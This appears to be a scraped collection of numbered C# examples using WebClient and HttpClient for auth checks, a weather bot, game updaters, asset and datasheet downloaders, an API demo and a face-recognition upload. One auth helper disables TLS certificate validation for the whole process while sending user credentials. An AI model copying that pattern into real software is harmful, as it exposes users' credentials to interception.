                    Code = responseParsed["LowProfileCode"],
                    URL = responseParsed["url"]
                });
            }
        }
예제 #43
0
        /// <summary>
        /// 测试原始用户名和密码是否正确
        /// </summary>
        public static bool TestAuth(string username, string password)
        {
            #region Windows集成帐户认证
            if (!IsApacheAuthMode())
            {
                bool blnResult = false;
                using (IdentityAnalogue ID = new IdentityAnalogue())
                {
                    if (ID.TryLogonAs(".", username, password))
                    {
                        blnResult = true;
                    }
                }
                return(blnResult);
            }
            #endregion

            string              url     = ConfigurationManager.AppSettings["AuthURL4Pass"];
            WebClient           wc      = new WebClient();
            WebHeaderCollection headers = new WebHeaderCollection();
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 (.NET CLR 3.5.30729)");
            wc.Headers = headers;

            wc.Credentials = new NetworkCredential(username, password);

            //System.Net.ServicePointManager.CertificatePolicy = new TrustAllCertificatePolicy();
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
                delegate(object o, X509Certificate cert, X509Chain chain, SslPolicyErrors errors)
            {
                return(true);
            });

            try
            {
                MemoryStream ms = new MemoryStream();
                using (Stream rms = wc.OpenRead(url))
                {
                    int bt = rms.ReadByte();
                    while (bt != -1)
                    {
                        ms.WriteByte(Convert.ToByte(bt));
                        bt = rms.ReadByte();
                    }
                    rms.Close();
                }

                //Console.WriteLine("读取响应流完成,输出响应头...");
                //for (int i = 0; i < wc.ResponseHeaders.Count; i++)
                //{
                //    Console.WriteLine("{0}:{1}", wc.ResponseHeaders.AllKeys[i], wc.ResponseHeaders[i]);
                //}
                //Console.WriteLine(Encoding.UTF8.GetString(ms.ToArray()));

                ms.Close();
                ms.Dispose();

                return(true);
            }
            catch (WebException)
            {
                return(false);
            }
        }
예제 #44
0
        private static string GetWeather(string city)
        {
            string[] yearMonths = new string[12]
            {
                "января", "февраля", "марта", "апреля", "мая", "июня",
                "июля", "августа", "сентября", "октября", "ноября", "декабря"
            };                                                                                                        // месяц в цифровом выражении заменим позже на словесное название

            string text = string.Empty;                                                                               // Это будет сообщение о погоде в чат

            Dictionary <string, Tuple <string, string> > cities = new Dictionary <string, Tuple <string, string> >(); // Словарь с кортежем - вместо лапши из if-ов

            cities.Add("/omsk", new Tuple <string, string>("Погода в Омске\n\n", @"http://www.eurometeo.ru/russia/omskaya-oblast/omsk/export/xml/data/"));
            cities.Add("/nsk", new Tuple <string, string>("Погода в Новосибирске\n\n", @"http://www.eurometeo.ru/russia/novosibirskaya-oblast/novosibirsk/export/xml/data/"));
            cities.Add("/tobol", new Tuple <string, string>("Погода в Тобольске\n\n", @"http://www.eurometeo.ru/russia/tumenskaya-oblast/tobolsk/export/xml/data/"));
            cities.Add("/hmao", new Tuple <string, string>("Погода в Ханты-Мансийске\n\n", @"http://www.eurometeo.ru/russia/hantyi-mansiyskiy/hantyi-mansiysk/export/xml/data/"));
            cities.Add("/noyab", new Tuple <string, string>("Погода в Ноябрьске\n\n", @"http://www.eurometeo.ru/russia/yamalo-neneckiy-avtonomnyiy-okrug/noyabrsk/export/xml/data/"));
            cities.Add("/sevas", new Tuple <string, string>("Погода в Севастополе\n\n", @"http://www.eurometeo.ru/russia/sevastopol/export/xml/data/"));

            if (cities.Keys.Contains(city))
            {
                foreach (var town in cities)
                {
                    if (city == town.Key)
                    {
                        text += town.Value.Item1;
                        city  = town.Value.Item2;
                        break;
                    }
                }
            }
            else
            {
                return("Вы можете узнать погоду на завтра в Омске,\n/omsk\n" +
                       "в Ханты-Мансийске,\n/hmao\nв Тобольске,\n/tobol\nв Ноябрьске,\n/noyab\nв Севастополе\n/sevas\n" +
                       "и в Новосибирске.\n/nsk\n");
            }

            string xmlData    = new WebClient().DownloadString(city);
            var    xmlColItem = XDocument.Parse(xmlData).Descendants("weather")
                                .Descendants("city")
                                .Descendants("step")
                                .ToArray();

            int step = 0;

            foreach (var item in xmlColItem.Skip(4).Take(8)) // Данные по погоде "сегодня" отбрасываем, нужна погода на завтра
            {
                string[] dayOfYear = item.Element("datetime").Value.Substring(0, 10).Split('-');
                string   date      = String.Format("{0} {1} {2} года", dayOfYear[2].TrimStart('0'), yearMonths[Convert.ToInt32(dayOfYear[1]) - 1], dayOfYear[0]);
                string   timeOfDay = item.Element("datetime").Value.Substring(11, 8)
                                     .Replace("04:00:00", " - ночь:")
                                     .Replace("10:00:00", " - утро:")
                                     .Replace("16:00:00", " - день:")
                                     .Replace("22:00:00", " - вечер:");

                text += String.Format("{0} \nДавление: {1} мм р.ст.\nТемпература: {2} градусов\n\n",
                                      date + " " + timeOfDay,
                                      item.Element("pressure").Value,
                                      item.Element("temperature").Value);
                if (step++ > 2) // step++ > 3 даёт 5 полей "дата/давление/температура", step++ > 4 - даёт 6 полей
                {
                    break;
                }
            }
            return(text);
        }
예제 #45
0
        public static void PerformUpdate()
        {
            try
            {
                //StreamWriter SW;
                //if (!Server.mono)
                //{
                //    if (!File.Exists("Update.bat"))
                //        SW = new StreamWriter(File.Create("Update.bat"));
                //    else
                //    {
                //        if (File.ReadAllLines("Update.bat")[0] != "::Version 3")
                //        {
                //            SW = new StreamWriter(File.Create("Update.bat"));
                //        }
                //        else
                //        {
                //            SW = new StreamWriter(File.Create("Update_generated.bat"));
                //        }
                //    }
                //    SW.WriteLine("::Version 3");
                //    SW.WriteLine("TASKKILL /pid %2 /F");
                //    SW.WriteLine("if exist MCForge_.dll.backup (erase MCForge_.dll.backup)");
                //    SW.WriteLine("if exist MCForge_.dll (rename MCForge_.dll MCForge_.dll.backup)");
                //    SW.WriteLine("if exist MCForge.new (rename MCForge.new MCForge_.dll)");
                //    SW.WriteLine("start MCForge.exe");
                //}
                //else
                //{
                //    if (!File.Exists("Update.sh"))
                //        SW = new StreamWriter(File.Create("Update.sh"));
                //    else
                //    {
                //        if (File.ReadAllLines("Update.sh")[0] != "#Version 2")
                //        {
                //            SW = new StreamWriter(File.Create("Update.sh"));
                //        }
                //        else
                //        {
                //            SW = new StreamWriter(File.Create("Update_generated.sh"));
                //        }
                //    }
                //    SW.WriteLine("#Version 2");
                //    SW.WriteLine("#!/bin/bash");
                //    SW.WriteLine("kill $2");
                //    SW.WriteLine("rm MCForge_.dll.backup");
                //    SW.WriteLine("mv MCForge_.dll MCForge.dll_.backup");
                //    SW.WriteLine("wget " + DLLLocation);
                //    SW.WriteLine("mono MCForge.exe");
                //}

                //SW.Flush(); SW.Close(); SW.Dispose();

                //Process proc = Process.GetCurrentProcess();
                //string assemblyname = proc.ProcessName + ".exe";

                //WebClient client = new WebClient();
                //Server.selectedrevision = client.DownloadString(Program.CurrentVersionFile);
                //client.Dispose();

                //string verscheck = Server.selectedrevision.TrimStart('r');
                //int vers = int.Parse(verscheck.Split('.')[0]);
                try
                {
                    if (File.Exists("MCLawl.new"))
                    {
                        File.Delete("MCLawl.new");
                    }
                    if (File.Exists("Changelog.txt"))
                    {
                        File.Delete("Changelog.txt");
                    }
                    if (File.Exists("MCForge_.update"))
                    {
                        File.Delete("MCForge_.update");
                    }
                    if (File.Exists("MCForge.update"))
                    {
                        File.Delete("MCForge.update");
                    }
                    if (File.Exists("Update.bat"))
                    {
                        File.Delete("Update.bat");
                    }
                    if (File.Exists("Update_generated.bat"))
                    {
                        File.Delete("Update_generated.bat");
                    }
                    if (File.Exists("Update.sh"))
                    {
                        File.Delete("Update.sh");
                    }
                    if (File.Exists("Update_generated.sh"))
                    {
                        File.Delete("Update_generated.sh");
                    }
                }
                catch { }
                WebClient Client = new WebClient();
                Client.DownloadFile(DLLLocation, "MCForge_.update");
                Client.DownloadFile(EXELocation, "MCForge.update");
                Client.DownloadFile(ChangelogLocation, "Changelog.txt");

                // Its possible there are no levels or players loaded yet
                // Only save them if they exist, otherwise we fail-whale
                if (Server.levels != null && Server.levels.Any())
                {
                    foreach (Level l in Server.levels)
                    {
                        if (Server.lava.active && Server.lava.HasMap(l.name))
                        {
                            l.saveChanges();
                        }
                        else
                        {
                            l.Save();
                        }
                    }
                }

                if (Player.players != null && Player.players.Any())
                {
                    foreach (Player pl in Player.players)
                    {
                        pl.save();
                    }
                }

                //File.WriteAllBytes("Updater.exe", MCForge.Properties.Resources.Updater);
                if (!usingConsole)
                {
                    Process.Start("Updater.exe", "securitycheck10934579068013978427893755755270374" + parent);
                }
                else
                {
                    Process.Start("mono", parentfullpathdir + "/Updater.exe securitycheck10934579068013978427893755755270374" + parent);
                }
                ExitProgram(false);
            }
            catch (Exception e) { Server.ErrorLog(e); }
        }
예제 #46
0
 public WebClientWrapper()
 {
     _webClient = new WebClient();
 }
        public static void Main(string[] args)
        {
            IntPtr Handle = GetConsoleWindow();
            ShowWindow(Handle, 3);
            SetWindowLong(Handle, -20, (int)GetWindowLong(Handle, -20) ^ 0x80000);
            SetLayeredWindowAttributes(Handle, 0, 227, 0x2);

            Console.Title = "[SHR] | SharpRoyale Asset Downloader | 1.0.0";

            Console.WriteLine(@"
       _________.__                       __________                     .__          
      /   _____/|  |__ _____ _____________\______   \ ____ ___.__._____  |  |   ____  
      \_____  \ |  |  \\__  \\_  __ \____ \|       _//  _ <   |  |\__  \ |  | _/ __ \ 
      /        \|   Y  \/ __ \|  | \/  |_> >    |   (  <_> )___  | / __ \|  |_\  ___/ 
     /_______  /|___|  (____  /__|  |   __/|____|_  /\____// ____|(____  /____/\___  >
             \/      \/     \/      |__|          \/       \/          \/          \/ Asset Downloader");

            Console.SetOut(_Prefixed);
            Console.WriteLine();

            Console.WriteLine("Starting...\n");

            Hash_Module = new Hash_Module("game.clashroyaleapp.com");

            if (!ReferenceEquals(null, Hash_Module.Fingerprint))
            {
                Console.WriteLine($"Downloaded Fingerprint, Hash: {Hash_Module.Fingerprint.Hash} - Version: {Hash_Module.Fingerprint.Version}.\n");

                if (!File.Exists("fingerprint.json"))
                {
                    File.WriteAllText("fingerprint.json", JsonConvert.SerializeObject(Hash_Module.Fingerprint));

                    Console.WriteLine($"Fingerprint has been saved.");
                }
                else
                {
                    Fingerprint _Fingerprint = JsonConvert.DeserializeObject<Fingerprint>(File.ReadAllText("fingerprint.json"), new JsonSerializerSettings() { Formatting = Formatting.Indented });

                    if (_Fingerprint.Hash == Hash_Module.Fingerprint.Hash)
                    {
                        Console.WriteLine($"No new Patch found.");
                        Console.ReadKey(true);
                        Environment.Exit(0);
                    }
                }

                if (!Directory.Exists("Output"))
                {
                    Directory.CreateDirectory("Output");

                    Console.WriteLine("Output directory has been created.\n");
                }
                else
                {
                    Directory.Delete("Output", true);
                    Directory.CreateDirectory("Output");

                    Console.WriteLine("Output directory has been cleared.\n");
                }

                Console.WriteLine($"Downloading {Hash_Module.Fingerprint.Files.Count} Files...\n\n");

                using (WebClient _Client = new WebClient())
                {
                    int Downloaded = 0;

                    foreach (var _File in Hash_Module.Fingerprint.Files)
                    {
                        string URL = $"{Settings.Hosts[0]}{Hash_Module.Fingerprint.Hash}/{_File.Name}";

                        try
                        {
                            if (!Directory.Exists($"Output/compressed/{Path.GetDirectoryName(_File.Name)}"))
                            {
                                Directory.CreateDirectory($"Output/compressed/{Path.GetDirectoryName(_File.Name)}");
                            }

                            _Client.DownloadFile(URL, $"Output/compressed/{_File.Name}");

                            if (_File.Name.EndsWith(".csv") || _File.Name.EndsWith(".sc"))
                            {
                                if (!Directory.Exists($"Output/decompressed/{Path.GetDirectoryName(_File.Name)}"))
                                {
                                    Directory.CreateDirectory($"Output/decompressed/{Path.GetDirectoryName(_File.Name)}");
                                }

                                using (FileStream _FS = new FileStream($"Output/compressed/{_File.Name}", FileMode.Open))
                                {
                                    using (FileStream _Stream = new FileStream($"Output/decompressed/{_File.Name}", FileMode.Create))
                                    {
                                        if (_File.Name.EndsWith(".sc"))
                                        {
                                            _FS.Seek(26, SeekOrigin.Current);                                  

                                            byte[] _Properties = new byte[5];
                                            _FS.Read(_Properties, 0, 5);

                                            byte[] _Buffer = new byte[4];
                                            _FS.Read(_Buffer, 0, 4);

                                            int _OutLength = BitConverter.ToInt32(_Buffer, 0);

                                            _Decoder.SetDecoderProperties(_Properties);
                                            _Decoder.Code(_FS, _Stream, _FS.Length, _OutLength, null);
                                        }
                                        else
                                        {
                                            byte[] _Properties = new byte[5];
                                            _FS.Read(_Properties, 0, 5);

                                            byte[] _Buffer = new byte[4];
                                            _FS.Read(_Buffer, 0, 4);

                                            int _OutLength = BitConverter.ToInt32(_Buffer, 0);

                                            _Decoder.SetDecoderProperties(_Properties);
                                            _Decoder.Code(_FS, _Stream, _FS.Length, _OutLength, null);
                                        }                                     
                                    }
                                }
                            }

                            Downloaded++;

                            Console.SetCursorPosition(0, Console.CursorTop - 1);
                            Console.WriteLine($"Progress: {Math.Round((double)(100 * Downloaded) / Hash_Module.Fingerprint.Files.Count)}%, {Downloaded}/{Hash_Module.Fingerprint.Files.Count}");
                        }
                        catch (Exception)
                        {
                        }
                    }

                    Console.WriteLine();
                    Console.WriteLine($"Downloaded {Downloaded}/{Hash_Module.Fingerprint.Files.Count} Files.");
                }
            }
            else
            {
                Console.WriteLine("Failed to download the Fingerprint.");
            }

            Console.ReadKey(true);        
        }
예제 #48
0
        /// <summary>
        /// Get historical data enumerable for a single symbol, type and resolution given this start and end time (in UTC).
        /// </summary>
        /// <param name="symbol">Symbol for the data we're looking for.</param>
        /// <param name="type">Security type</param>
        /// <param name="resolution">Resolution of the data request</param>
        /// <param name="startUtc">Start time of the data in UTC</param>
        /// <param name="endUtc">End time of the data in UTC</param>
        /// <returns>Enumerable of base data for this symbol</returns>
        public IEnumerable<BaseData> Get(Symbol symbol, SecurityType type, Resolution resolution, DateTime startUtc, DateTime endUtc)
        {
            if (resolution != Resolution.Minute && resolution != Resolution.Hour)
                throw new NotSupportedException("Resolution not available: " + resolution);

            if (type != SecurityType.Equity)
                throw new NotSupportedException("SecurityType not available: " + type);

            var numberOfDays = (int)(endUtc - startUtc).TotalDays;
            var resolutionSeconds = (int)resolution.ToTimeSpan().TotalSeconds;
            var startUnixTime = ToUnixTime(startUtc);

            // Create the Google formatted URL.
            var url = string.Format(UrlPrototype, symbol, resolutionSeconds, numberOfDays, startUnixTime);

            // Download the data from Google.
            string[] lines;
            using (var client = new WebClient())
            {
                var data = client.DownloadString(url);
                lines = data.Split('\n');
            }

            // First 7 lines are headers 
            var currentLine = 7;

            while (currentLine < lines.Length - 1)
            {
                var firstPass = true;

                // Each day google starts date time at 930am and then 
                // has 390 minutes over the day. Look for the starter rows "a".
                var columns = lines[currentLine].Split(',');
                var startTime = FromUnixTime(columns[0].Remove(0, 1).ToInt64());

                while (currentLine < lines.Length - 1)
                {
                    var str = lines[currentLine].Split(',');
                    if (str.Length < 6)
                        throw new InvalidDataException("Short record: " + str);

                    // If its the start of a new day, break out of this sub-loop.
                    var titleRow = str[0][0] == 'a';
                    if (titleRow && !firstPass) 
                        break;

                    firstPass = false;

                    // Build the current datetime, from the row offset
                    var time = startTime.AddSeconds(resolutionSeconds * (titleRow ? 0 : str[0].ToInt64()));

                    // Bar: d0, c1, h2, l3, o4, v5
                    var open = str[4].ToDecimal();
                    var high = str[2].ToDecimal();
                    var low = str[3].ToDecimal();
                    var close = str[1].ToDecimal();
                    var volume = str[5].ToInt64();

                    currentLine++;

                    yield return new TradeBar(time, symbol, open, high, low, close, volume, resolution.ToTimeSpan());
                }
            }
        }
예제 #49
0
 public Updater()
 {
     UpdateClient = new WebClient();
 }
예제 #50
0
        static void Main(string[] args)
        {
            // Create standard .NET web client instance
            WebClient webClient = new WebClient();

            // Set API Key
            webClient.Headers.Add("x-api-key", API_KEY);

            // 1. RETRIEVE THE PRESIGNED URL TO UPLOAD THE FILE.
            // * If you already have a direct file URL, skip to the step 3.

            // Prepare URL for `Get Presigned URL` API call
            string query = Uri.EscapeUriString(string.Format(
                                                   "https://api.pdf.co/v1/file/upload/get-presigned-url?contenttype=application/octet-stream&name={0}",
                                                   Path.GetFileName(SourceFile)));

            try
            {
                // Execute request
                string response = webClient.DownloadString(query);

                // Parse JSON response
                JObject json = JObject.Parse(response);

                if (json["status"].ToString() != "error")
                {
                    // Get URL to use for the file upload
                    string uploadUrl       = json["presignedUrl"].ToString();
                    string uploadedFileUrl = json["url"].ToString();

                    // 2. UPLOAD THE FILE TO CLOUD.

                    webClient.Headers.Add("content-type", "application/octet-stream");
                    webClient.UploadFile(uploadUrl, "PUT", SourceFile);                     // You can use UploadData() instead if your file is byte[] or Stream
                    webClient.Headers.Remove("content-type");

                    // 3. CONVERT UPLOADED PDF FILE TO CSV

                    // Prepare URL for `PDF To CSV` API call
                    query = Uri.EscapeUriString(string.Format(
                                                    "https://api.pdf.co/v1/pdf/convert/to/csv?name={0}&password={1}&pages={2}&url={3}",
                                                    Path.GetFileName(DestinationFile),
                                                    Password,
                                                    Pages,
                                                    uploadedFileUrl));

                    // Execute request
                    response = webClient.DownloadString(query);

                    // Parse JSON response
                    json = JObject.Parse(response);

                    if (json["status"].ToString() != "error")
                    {
                        // Get URL of generated CSV file
                        string resultFileUrl = json["url"].ToString();

                        // Download CSV file
                        webClient.DownloadFile(resultFileUrl, DestinationFile);

                        Console.WriteLine("Generated CSV file saved as \"{0}\" file.", DestinationFile);
                    }
                    else
                    {
                        Console.WriteLine(json["message"].ToString());
                    }
                }
                else
                {
                    Console.WriteLine(json["message"].ToString());
                }
            }
            catch (WebException e)
            {
                Console.WriteLine(e.ToString());
            }

            webClient.Dispose();


            Console.WriteLine();
            Console.WriteLine("Press any key...");
            Console.ReadKey();
        }
예제 #51
0
        public static void downloadall()
        {

            File.WriteAllText("rawdsdata/ds.txt", string.Empty);

            for (int i = 1; i < 99999; i++)
            {
                if (Console.KeyAvailable) break;

                string htmlCode;
                using (WebClient client = new WebClient())
                {
                    htmlCode = client.DownloadString("https://alltransistors.com/transistor.php?transistor=" + i);
                }

                Console.WriteLine("Transistor datasheet raw HTML code:\n{0}", htmlCode);

                string ds = editDatasheet(htmlCode);




                string name = getBetween(ds, "Type Designator: ", "\n");

                string material = getBetween(ds, "Material of Transistor: ", "\n");

                string polarity = getBetween(ds, "Polarity: ", "\n");

                string mcpd = getBetween(ds, "Maximum Collector Power Dissipation (Pc): ", "\n");

                string mcbv = getBetween(ds, "Maximum Collector-Base Voltage |Vcb|: ", "\n");

                string mcev = getBetween(ds, "Maximum Collector-Emitter Voltage |Vce|: ", "\n");

                string mebv = getBetween(ds, "Maximum Emitter-Base Voltage |Veb|: ", "\n");

                string mcc = getBetween(ds, "Maximum Collector Current |Ic max|: ", "\n");

                string mojt = getBetween(ds, "Max. Operating Junction Temperature (Tj): ", "\n");

                string freq = getBetween(ds, "Transition Frequency (ft): ", "\n");

                string cap = getBetween(ds, "Collector Capacitance (Cc): ", "\n");

                string fctr = getBetween(ds, "Forward Current Transfer Ratio (hFE), MIN: ", "\n");

                string noise = getBetween(ds, "Noise Figure, dB: ", "\n");

                string package = getBetween(ds, "Package: ", "\n");



                // FileStream file = new FileStream("rawdsdata/ds.txt", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
                //  file.WriteLine(name + "\n" + material + "\n" + polarity + "\n" + mcpd + "\n" + mcbv + "\n" + mcev + "\n" + mebv+"\n" + mcc +"\n" + mojt +"\n" +freq +"\n" + cap +"\n" + fctr +"\n" + noise+ "\n" + package +"\n"  );

                // file.

                Directory.CreateDirectory("datasheets");
                File.WriteAllText("datasheets/" + name + ".datasheet.txt", ds);

                Console.WriteLine("\n\nSaved datasheet to datasheets/{0}", name + ".datasheet.txt");

            }




        }
예제 #52
0
        private async void Upload()
        {
            // EN ESTA FUNCION HACEMOS EL UPLOAD DE LA IMAGEN A EVALUAR Y MUESTRA EL RESULTADO
            try
            {
                // LO PRIMERO QUE HACEMOS ES CONSULTAR A LA VARIABLE READY PARA VER SI AUN HAY UNA RESPUESTA POR OBTENER DEL SERVIDOR ANTES DE ENVIAR UNA NUEVA CONSULTA
                if (Ready == true)
                {
                    // LLAMAMOS A LA FUNCION DE TOKEN
                    GetToken();

                    // DECLARAMOS LAS FUNCIONES NECESARIAS PARA ACCEDER AL SERVICIO ON LINE
                    HttpClient httpClient         = new HttpClient();
                    MultipartFormDataContent form = new MultipartFormDataContent();
                    HttpResponseMessage      response;

                    // EN Recivedtmp VAMOS A GUARDAR LA RESPUESTA QUE LLEGUE DESDE EL SERVIDOR
                    String Recivedtmp = "";

                    // DEFINIMOS LAS VARIABLES DE LA FUNCION
                    httpClient.DefaultRequestHeaders.Add("Authorization", "Bearer " + token);                                                                         // token: Excepto en la funcion "gettoken", en todas las demas deberemos enviar el token generado justamente por "gettoken" ya que es el usuario y la clave que nos permite acceder al servicio, sin esto recibiremos un mensaje de usuario incorrecto
                    form.Add(new ByteArrayContent(imageToByteArray(currentFrame.ToBitmap()), 0, imageToByteArray(currentFrame.ToBitmap()).Length), "photo", "image"); // photo: Envia el bytestream de la imagen la cual debe estar en formato JPG.

                    // ENVIO LOS DATOS AL SERVIDOR
                    response = await httpClient.PostAsync(ServerAPIURL + "/api/v2/functions/face/id", form);

                    response.EnsureSuccessStatusCode();
                    httpClient.Dispose();

                    // RECIBIMOS LA RESPUESTA DESDE EL SERVIDOR
                    Recivedtmp = response.Content.ReadAsStringAsync().Result;


                    // EL STRING NOS DEVOLVERA UN UUID COMO IDENTIFICACION DEL OBJETO O ROSTRO DETECTADO POR LO CUAL DEBEREMOS REMPLAZARLO POR LA INFORMACION CANONICA QUE DECLARAMOS EN EL ADMINISTRADOR DE LA API
                    if (Recivedtmp.Trim() != "")
                    {
                        // LO PRIMERO QUE HACEMOS ES SEPARAR LA RESPUESTA ES LINEAS YA QUE outformat LO DEFINIMOS COMO pipe, PUEDEN HABER MAS DE UNA RESPUESTA SI ES QUE EN LA IMAGEN HAY MAS DE UN OBJETO DETECTABLE (EJEMPLO: HAY DOS ROSTROS)
                        String[] Metadata = Recivedtmp.Split('\n');

                        // EVALUAMOS UNA A UNA LAS RESPUESTAS
                        foreach (String Metaline in Metadata)
                        {
                            // SI LA LINEA NO ESTA VACIA IMPLICA QUE HAY UNA RESPUESTA POR PARTE DEL SERVIDOR
                            if (Metaline.Trim() != "")
                            {
                                // SEPARAMOS LAS LINEAS EN "|" YA QUE outformat LO DEFINIMOS COMO pipe
                                String[] Values = Metaline.Split('|');


                                WebClient webClient = new WebClient();
                                webClient.Headers.Add("Authorization", "Bearer " + token);

                                String response1 = webClient.DownloadString(ServerAPIURL + "/api/v2/admin/accounts/users/profiles/detections=" + Values[6] + "/value");

                                String[] RecivedMatrix1 = response1.Split('|');

                                // SI EL CODIGO RECIBIDO EN LA POSICION O ES 200 SIGNIFICA QUE EL SERVIDOR RESPONDIO CORRECTAMENTE CON EL CANONICO DEL UUID POR LO CUAL PROCEDEMOS A REMPLAZARLO EN EL STRING DE DETECCION
                                if (RecivedMatrix1[0] == "200")
                                {
                                    Recivedtmp = Recivedtmp.Replace(Values[6], RecivedMatrix1[1]);
                                }

                                // YA CON TODO RECIBIDO Y FORMATEADO PASAMOS A INTERPRETAR LA INFORMACION.
                                String[] ReceiveOnMatrix = Recivedtmp.Split('|');

                                // COMO TENEMOS DEFINIDA LA RESPUESTA CON outformat EN pipe, CADA DETECCION SERA UN STREAM QUE OCUPARA UNA LINEA DONDE CADA RESPUESTA OCUPA UNA POSICION SEPARADA PO "|"

                                // EJEMPLO DEL STREAM EN FORMATO PIPE:

                                // [CODIGO DE ACCION]|[CANONICO DEL CODIGO]|[POSICION YMIN DEL BOX DE DETECCION]|[POSICION XMAX DEL BOX DE DETECCION]|[POSICION YMAX DEL BOX DE DETECCION]|[POSICION XMAX DEL BOX DE DETECCION]|[NOMBRE O UUID DE LO DETECTADO]|[UUID DEL GRUPO IRIS]|[CONFIDENCE DE LA DETECCION O SEA QUE TAN EXACTA ES LA DETECCION]

                                // EJEMPLO PRACTICO:

                                //  200|ok|0.0|0.44375|0.47291666666666665|0.7140625|Juan Perez|1cc9a3d4461011ea9ca300155d016a1c|0.4329930749381952\n


                                if (ReceiveOnMatrix[0] == "200")
                                {
                                    // LOS VALORES X e Y ESTAN SIN ESCALAR ESTO SIGNIFICA QUE DEBEREMOS MULTIPLICAR CADA VALOR POR EL ANCHO Y EL ALTO DE LA IMAGEN PARA OBTENER LAS COORDENADAS X/Y SOBRE LA IMAGEN

                                    Double ymin = Convert.ToDouble(ReceiveOnMatrix[2]);
                                    Double xmin = Convert.ToDouble(ReceiveOnMatrix[3]);
                                    Double ymax = Convert.ToDouble(ReceiveOnMatrix[4]);
                                    Double xmax = Convert.ToDouble(ReceiveOnMatrix[5]);

                                    Int32 left   = Convert.ToInt32(xmin * 640);
                                    Int32 right  = Convert.ToInt32(xmax * 640);
                                    Int32 top    = Convert.ToInt32(ymin * 480);
                                    Int32 bottom = Convert.ToInt32(ymax * 480);

                                    // POR ULTIMO SEPRAMOS LOS DATOS Y LOS PRESENTAMOS
                                    String Name       = ReceiveOnMatrix[6];
                                    Double Confidence = Convert.ToDouble(ReceiveOnMatrix[8]);

                                    this.FromServer.Text = "Top: " + top.ToString() + " | Left: " + left.ToString() + " | Bottom: " + bottom.ToString() + " | Right: " + right.ToString() + " | Name: " + Name + " | Confidence: " + Confidence.ToString();
                                }
                            }
                        }
                    }

                    Ready = true;
                }
            }
            catch (Exception ex)
            {
                Ready = true;
            }
        }
예제 #53
0
        private static void checkFilesFolders(string folder)
        {
            if (isArma2)
            {
                //armaPath = regcheck.arma2RegCheck();
                armaPath = path("ArmA2");
            }
            else
            {
                //armaPath = Settings.Default.A3path;
                armaPath = path("ArmA3");
            }
            string relativePath = folder.Replace(armaPath, "");

            string[] files = downloader.webReadLines(url + relativePath.Replace(@"\\", "") + "/files.cfg");

            var info = new DirectoryInfo(folder);

            string[] dirs = downloader.webReadLines(url + relativePath + "\\dirs.cfg");

            foreach (DirectoryInfo dirInfo in info.GetDirectories())
            {
                bool exists = false;
                foreach (string dir in dirs)
                {
                    if (dir == dirInfo.Name)
                    {
                        exists = true;
                    }
                }
                if (!exists)
                {
                    dirInfo.Delete(true);
                }
            }

            foreach (string dir in dirs)
            {
                var dirInfo = new DirectoryInfo(folder + "\\" + dir);
                if (!dirInfo.Exists)
                {
                    dirInfo.Create();
                }
                checkFilesFolders(dirInfo.FullName);
            }

            foreach (FileInfo file in info.GetFiles())
            {
                bool exists = false;
                foreach (string fileString in files)
                {
                    if (file.Name == fileString)
                    {
                        exists = true;
                    }
                }
                if (exists == false)
                {
                    file.Delete();
                }
            }
            var client = new WebClient();

            foreach (string file in files)
            {
                var fileInfo = new FileInfo(folder + "\\" + file);
                if (fileInfo.Exists)
                {
                    string hash           = RepoGenerator.md5Calc(fileInfo.FullName);
                    string downloadedHash = downloader.webRead(url + relativePath + "\\" + fileInfo.Name + ".hash");
                    if (hash != downloadedHash)
                    {
                        downloader.download(url + relativePath + "\\" + fileInfo.Name + ".7z", client);
                        Unzippy.extract(fileInfo.Name + ".7z", fileInfo.DirectoryName);
                        increment();
                        File.Delete(fileInfo.Name + ".7z");
                    }
                }
                else
                {
                    downloader.download(url + relativePath + "\\" + fileInfo.Name + ".7z", client);
                    Unzippy.extract(fileInfo.Name + ".7z", fileInfo.DirectoryName);
                    increment();
                    File.Delete(fileInfo.Name + ".7z");
                }
            }

            if (info.Name == "plugin")
            {
                //Now Create all of the directories
                foreach (string dirPath in Directory.GetDirectories(info.FullName, "*",
                                                                    SearchOption.AllDirectories))
                {
                    Directory.CreateDirectory(dirPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"));
                }

                //Copy all the files
                foreach (string newPath in Directory.GetFiles(info.FullName, "*.*", SearchOption.AllDirectories))
                {
                    if (!File.Exists(newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins")))
                    {
                        try
                        {
                            File.Copy(newPath, newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"),
                                      true);
                            logIt.add("Copied ACRE plugin to TS3 folder");
                        }
                        catch (Exception e)
                        {
                            WindowManager.mainWindow.Worker.ReportProgress(-1, e.Message);
                            logIt.add("Failed to copy ACRE plugin to TS3 folder. Error Message: " + e.Message);
                        }
                    }
                    else
                    {
                        Process[] pro64 = Process.GetProcessesByName("ts3client_win64");
                        Process[] pro32 = Process.GetProcessesByName("ts3client_win32");

                        if (pro32.Length == 0 && pro64.Length == 0)
                        {
                            logIt.add("TS3 is not running");
                            File.Delete(newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"));
                            File.Copy(newPath, newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"));
                        }
                        else
                        {
                            logIt.add("TS3 is running");
                            if (UpdateManager.TFRalert == true)
                            {
                                MessageBox.Show("Teamspeak will now be closed to update the plugin files.", "Teamspeak will now close...", MessageBoxButton.OK, MessageBoxImage.Exclamation);
                            }
                            foreach (Process p in pro64)
                            {
                                p.Kill();
                            }

                            foreach (Process p in pro32)
                            {
                                p.Kill();
                            }

                            File.Delete(newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"));
                            File.Copy(newPath, newPath.Replace(info.FullName, Settings.Default.ts3Dir + "\\plugins"));
                        }
                    }
                }
            }

            if (info.Name == "userconfig")
            {
                string output = armaPath + "\\userconfig";
                Directory.CreateDirectory(output);

                foreach (string dirPath in Directory.GetDirectories(info.FullName, "*",
                                                                    SearchOption.AllDirectories))
                {
                    Directory.CreateDirectory(dirPath.Replace(info.FullName, output));
                }

                foreach (string newPath in Directory.GetFiles(info.FullName, "*.*",
                                                              SearchOption.AllDirectories))
                {
                    try
                    {
                        File.Copy(newPath, newPath.Replace(info.FullName, output), true);
                    }
                    catch (Exception e)
                    {
